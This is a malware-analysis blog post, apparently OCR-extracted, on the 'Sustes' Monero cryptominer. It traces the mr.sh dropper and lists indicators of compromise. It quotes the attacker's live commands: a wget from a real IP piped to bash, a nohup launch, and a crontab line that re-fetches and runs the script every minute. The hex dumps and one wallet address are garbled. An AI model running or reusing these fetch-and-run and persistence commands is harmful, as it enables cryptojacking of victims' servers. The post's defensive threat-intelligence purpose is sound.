# Sustes Malware: CPU for Monero

Na marcoramilli.com/2018/09/20/sustes-malware-cpu-for-monero/

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00000000005D19C0	61	3A 63	ЗA	6B	68	42	70	ЗA	50	78	зА	72	зА	52	ЗA	a:c:khBp:Px:r:R:
00000000005D19D0	73	3A 74	3A	54	ЗA	6F	ЗA	75	ЗA	4F	ЗA	76	ЗA	56	6C	s:t:T:o:u:O:v:Vl
00000000005D19E0	3A S	53 00	00	00	00	00	00	00	00	00	00	00	00	00	00	:S
00000000005D19F0	00 (	00 00	00	00	00	00	00	00	00	00	00	00	00	00	00	
00000000005D1A00	55	73 61	67	65	ЗA	20	78	6D	72	69	67	20	5B	4F	50	Usage:·xmrig·[OP
00000000005D1A10	54 4	49 4F	4E	53	5D	ØA	4F	70	74	69	6F	6E	73	ЗA	ØA	TIONS].Options:.
00000000005D1A20	20 3	20 2D	61	2C	20	2D	2D	61	6C	67	6F	ЗD	41	4C	47	···a,·algo=ALG
00000000005D1A30	4F 🔅	20 20	20	20	20	20	20	20	20	20	63	72	79	70	74	0·····crypt
00000000005D1A40	6F (	6E 69	67	68	74	20	28	64	65	66	61	75	6C	74	29	onight∙(default)
00000000005D1A50	20 (	6F 72	20	63	72	79	70	74	6F	6E	69	67	68	74	2D	<pre>•or•cryptonight-</pre>
00000000005D1A60	6C (	69 74	65	ØA	20	20	2D	6F	2C	20	2D	2D	75	72	6C	liteo,∙url
00000000005D1A70	3D -	55 52	4C	20	20	20	20	20	20	20	20	20	20	20	20	=URL·····
00000000005D1A80	55 3	52 40	20	6F	66	20	6D	69	6E	69	6E	67	20	73	65	URL∙of∙mining∙se
00000000005D1A90	72	76 65	72	ØA	20	20	2D	4F	2C	20	2D	2D	75	73	65	rvero,use
00000000005D1AA0	72	70 61	73	73	3D	55	ЗA	50	20	20	20	20	20	20	20	rpass=U:P·····
00000000005D1AB0	75	73 65	72	6E	61	6D	65	ЗA	70	61	73	73	77	6F	72	username:passwor
00000000005D1AC0	64 🔅	20 70	61	69	72	20	66	6F	72	20	6D	69	6E	69	6E	d∙pair∙for∙minin
00000000005D1AD0	67 🔅	20 73	65	72	76	65	72	0A	20	20	2D	75	2C	20	2D	g·server.··-u,·-
00000000005D1AE0	2D 🕻	75 73	65	72	3D	55	53	45	52	4E	41	4D	45	20	20	-user=USERNAME
00000000005D1AF0	20 3	20 20	20	75	73	65	72	6E	61	6D	65	20	66	6F	72	····username·for
00000000005D1B00	20 (	6D 69	6E	69	6E	67	20	73	65	72	76	65	72	ØA	20	<pre>·mining·server.·</pre>
00000000005D1B10	20 3	2D 70	2C	20	2D	2D	70	61	73	73	ЗD	50	41	53	53	·-p,·pass=PASS
00000000005D1B20	57 4	4F 52	44	20	20	20	20	20	20	70	61	73	73	77	6F	WORD・・・・passwo
00000000005D1B30	72 (	64 20	66	6F	72	20	6D	69	6E	69	6E	67	20	73	65	rd∙for∙mining∙se
00000000005D1B40	72	76 65	72	ØA	20	20	2D	74	2C	20	2D	2D	74	68	72	rvert,thr
00000000005D1B50	65 (	61 64	73	3D	4E	20	20	20	20	20	20	20	20	20	20	eads=N·····
00000000005D1B60	6E 🗆	75 6D	62	65	72	20	6F	66	20	6D	69	6E	65	72	20	number∙of∙miner∙
00000000005D1B70	74 (	68 72	65	61	64	73	ØA	20	20	2D	76	2C	20	2D	2D	threadsv,
00000000005D1B80	61 🕻	76 3D	4E	20	20	20	20	20	20	20	20	20	20	20	20	av=N·····
00000000005D1B90	20 3	20 20	61	6C	67	6F	72	69	74	68	6D	20	76	61	72	···algorithm∙var
00000000005D1BA0	69 (	61 74	69	6F	6E	2C	20	30	20	61	75	74	6F	20	73	iation,∙0∙auto∙s
00000000005D1BB0	65 (	6C 65	63	74	ØA	20	20	2D	6B	2C	20	2D	2D	6B	65	electk,∙ke
00000000005D1BC0	65 🕻	70 61	6C	69	76	65	20	20	20	20	20	20	20	20	20	epalive·····
00000000005D1BD0	20 🗄	73 65				6B	65	65	70	61		69	76	65	64	·send∙keepalived
00000000005D1BE0	20 (	66 6F	72	20	70	72	65	76	65	6E	74	20	74	69	6D	<pre> •for·prevent·tim</pre>
00000000005D1BF0	65 (	6F 75	74	20	28	6E	65	65	64	20	70	6F	6F	6C	20	eout (need pool

Today I'd like to share a simple analysis based on fascinating threat that I like to call **Sustes** (you will see name genesis in a bit). Everybody knows Monero crypto currency and probably everybody knows that it has built upon privacy, by meaning It's not that simple to figure out Monero wallet balance. Sustes (mr.sh) is a nice example of **Pirate-Mining** and even if it's hard to figure out its magnitude, since the attacker built-up private pool-proxies, I believe it's interesting to fix wallet address in memories and to share loC for future Protection. So, let's have a closer look to it.

September 20, 2018

🖸 blocks	Search by block height / block hash / transaction hash / payment ld
-	Explorer Stats Rich List API
Uh-oh	
	ku were trying to peek into this Monero address: acpt/gs/JP3vwqDftucruf#BD17D7xw1zPGpMap#Euwwq36V5ch1g
Hmmm It really looks like you were,	, like, trying to check out this dude's balance.
Well,	

Monero stops you trying to check wallet balance

Sustes Malware doesn't infect victims by itself (it's not a worm) but it is spread over exploitation and brute-force activities with special focus on IoT and Linux servers. The initial infection stage comes from a custom wget

(http:///192[.]99[.]142[.]226[:]8220/mr.sh ) directly on the victim machine followed by a simple /bin/bash mr.sh. The script is a simple bash script which drops and executes additional software with a bit of spicy. The following code represents the mr.sh content as a today (ref. blog post date).

## https://gist.github.com/marcoramilli/a002b0620060e1804651565fc4026a4c.js

An initial connection-check wants to take down unwanted software on the victim side (awk '{print \$7}' | sed -e "s/V.\*//g") taking decisions upon specific IP addresses. It filters PID from connection states and it directly kills them (kill -9). The extracted attacker's unwanted communications are the following ones:

- 103[.]99[.]115[.]220 (Org: HOST EDU (OPC) PRIVATE LIMITED, Country: IN)
- 104[.]160[.]171[.]94 (Org: Sharktech Country: USA)
- 121[.]18[.]238[.]56 (Org: ChinaUnicom, Country: CN)
- 170[.]178[.]178[.]57 (Org: Sharktech Country: USA)
- 27[.]155[.]87[.]59 (Org: CHINANET-FJ Country: CN)
- 52[.]15[.]62[.]13 (Org: Amazon Technologies Inc., Country: USA)
- 52[.]15[.]72[.]79 (Org: HOST EDU (OPC) PRIVATE LIMITED, Country: IN)
- 91[.]236[.]182[.]1 (Org: Brillant Auto Kft, Country: HU)

A second check comes from "command lines arguments". Sustes "greps" to search for configuration files (for example: wc.conf and wq.conf and wm.conf) then it looks for software names such as **sustes** (here we go !) and kills everything matches the "grep". The script follows by assigning to f2 variable the dropping website (192[.]99[.]142[.]226:8220) and later-on it calls "f2" adding specific paths (for example: /xm64 and wt.conf) in order to drop crafted components. MR.sh follows by running the dropped software with configuration file as follows:

## nohup \$DIR/sustes -c \$DIR/wc.conf > /dev/null 2>&1 &

MR.SH ends up by setting a periodic crontab action on dropping and executing itself by setting up:

## crontab -l 2>/dev/null; echo "\* \* \* \* \$LDR http://192.99.142.226:8220/mr.sh | bash -sh > /dev/null 2>&1"

Following the analysis and extracting the configuration file from dropping URL we might observe the Monero wallet addresses and the Monero Pools used by attacker. The following wallets (W1, W2, W3) were found.

- W1:
- 4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg • W2:

4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg • W3:

4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg

Quick analyses on the used Monero pools took me to believe the attacker built up a custom and private (deployed on private infrastructures) monero pool/proxies, for such a reason I believe it would be nice to monitor and/or block the following addresses:

- 158[.]69[.]133[.]20 on port 3333
- 192[.]99[.]142[.]249 on port 3333
- 202[.]144[.]193[.]110 on port 3333

The downloaded payload is named **sustes** and it is a basic <u>XMRIG</u>, which is a well-known opensource miner. In this scenario it is used to make money at the expense of computer users by abusing the infected computer to mine Monero, a cryptocurrency. The following image shows the usage strings as an initial proof of software.

00000000000501900	61 3A 63 3	A 68 68 42 70	3A 50 78 3A 72 3A 52 3A	a:c:kh8p:Px:r:R:
00000000000000000000000000000000000000	73 3A 74 3		75 3A 4F 3A 76 3A 56 6C	s:t:T:o:u:0:v:V1
00000000000000000000000000000000000000	34 53 00 0		00 00 00 00 00 00 00 00	:5
0000000000005D19F0	00 00 00 0		00 00 00 00 00 00 00 00	
000000000005D1A00	55 73 61 6	7 65 3A 28 78	6D 72 69 67 20 5B 4F 50	Usage:·xmrig·[OP
000000000005D1A10	54 49 4F 4	E 53 50 0A 4E	70 74 69 6F 6E 73 3A 0A	TIONS].Options:.
00000000005D1A20	20 20 2D 6	1 2C 20 2D 2D	61 6C 67 6F 3D 41 4C 47	···a, ·algo=ALG
00000000005D1A30	4F 20 20 2	0 20 20 20 20	20 20 20 63 72 79 70 74	0·····crypt
00000000005D1A40	6F 6E 69 6	7 68 74 20 28	64 65 66 61 75 6C 74 29	onight (default)
00000000005D1A50	20 GF 72 2	0 63 72 79 70	74 6F 6E 69 67 68 74 2D	·or·cryptonight-
00000000005D1A60			6F 2C 20 2D 2D 75 72 6C	liteo,url
00000000005D1A70			20 20 20 20 20 20 20 20	-URL
00000000005D1A80			69 6E 69 6E 67 20 73 65	URL of mining se
00000000005D1A90			4F 2C 20 2D 2D 75 73 65	rvero,use
00000000005D1AA0			50 20 20 20 20 20 20 20	rpass=U:P·····
00000000005D1AB0			3A 70 61 73 73 77 6F 72	username:passwor
00000000005D1AC0			6F 72 20 6D 69 6E 69 6E	d∙pair∙for•minin
00000000005D1AD0			0A 20 20 2D 75 2C 20 2D	g·server.···u,··
000000000005D1AE0			45 52 4E 41 4D 45 20 20	-user=USERNAME++
00000000005D1AF0			6E 61 6D 65 20 66 6F 72	····username for
00000000005D1B00	20 6D 69 6		73 65 72 76 65 72 0A 20	<pre>·mining·server.·</pre>
000000000005D1B10			61 73 73 3D 50 41 53 53	·-p,·pass=PASS
00000000005D1B20			20 20 70 61 73 73 77 6F	WORD ····· passwo
00000000005D1B30	72 64 20 6		69 6E 69 6E 67 20 73 65	rd-for-mining-se
00000000005D1B40			74 2C 20 2D 2D 74 68 72	rvert,thr
00000000005D1B50			20 20 20 20 20 20 20 20 20	eads=N
00000000005D1B60	6E 75 6D 6		66 20 6D 69 6E 65 72 20	number of miner.
00000000005D1B70	74 68 72 6		20 20 2D 76 2C 20 2D 2D	threadsv,
00000000005D1B80	61 76 3D 4		20 20 20 20 20 20 20 20 20	av=N
00000000005D1B90	20 20 20 6		69 74 68 6D 20 76 61 72	···algorithm·var
00000000005D1BA0	69 61 74 6		30 20 61 75 74 6F 20 73	iation, 0.auto-s
00000000005D1BB0	65 6C 65 6		2D 68 2C 20 2D 2D 68 65	electk,ke
00000000005D1BC0	65 70 61 6		20 20 20 20 20 20 20 20 20 20 65 70 61 66 69 76 65 64	epalive
000000000005D1BD0 00000000005D1BE0	20 73 65 6 20 66 6F 7		65 70 61 6C 69 76 65 64 76 65 6F 74 20 74 69 6D	<pre>send keepalived</pre>
000000000005D1BE0 00000000005D1BF0	20 66 6F 7 65 6F 75 7		76 65 62 74 20 74 69 60 65 64 20 70 6F 6F 6C 20	<pre> for prevent tim  eout (need pool)</pre>
00000000000015F0	55 6F 75 7	9 20 28 55 55	53 54 28 78 5F 5F 5C 28	eout.ineed.bool.

XMRIG prove 1

Many people are currently wondering what is the **sustes** process which is draining a lot of PC resources (for example: <u>here</u>, <u>here</u> and <u>here</u>) .... now we have an answer: it's a unwanted Miner. :D.

Hope you had fun

## loC

- IP Address:
  - 103[.]99[.]115[.]220 (Org: HOST EDU (OPC) PRIVATE LIMITED, Country: IN)
  - o 104[.]160[.]171[.]94 (Org: Sharktech Country: USA)
  - 121[.]18[.]238[.]56 (Org: ChinaUnicom, Country: CN)
  - o 170[.]178[.]178[.]57 (Org: Sharktech Country: USA)
  - 27[.]155[.]87[.]59 (Org: CHINANET-FJ Country: CN)
  - 52[.]15[.]62[.]13 (Org: Amazon Technologies Inc., Country: USA)
  - 52[.]15[.]72[.]79 (Org: HOST EDU (OPC) PRIVATE LIMITED, Country: IN)
  - 91[.]236[.]182[.]1 (Org: Brillant Auto Kft, Country: HU)

## Custom Monero Pools:

- 158[.]69[.]133[.]20:3333
- 192[.]99[.]142[.]249:3333
- 202[.]144[.]193[.]110:3333
- Wallets:
  - **W1:** 
    - 4 AB31 X Z u3 b KeUW twGQ 43 Z ad TKC f Czq 3 wra6 y NbK d sucp R f g of JP3 Y wqDi Tu truf k8 D17 D7 xw1 z PG y M spv8 L q wwg36 V 5 ch Y g
  - **W2**:
    - 4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg

• **W3**:

4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg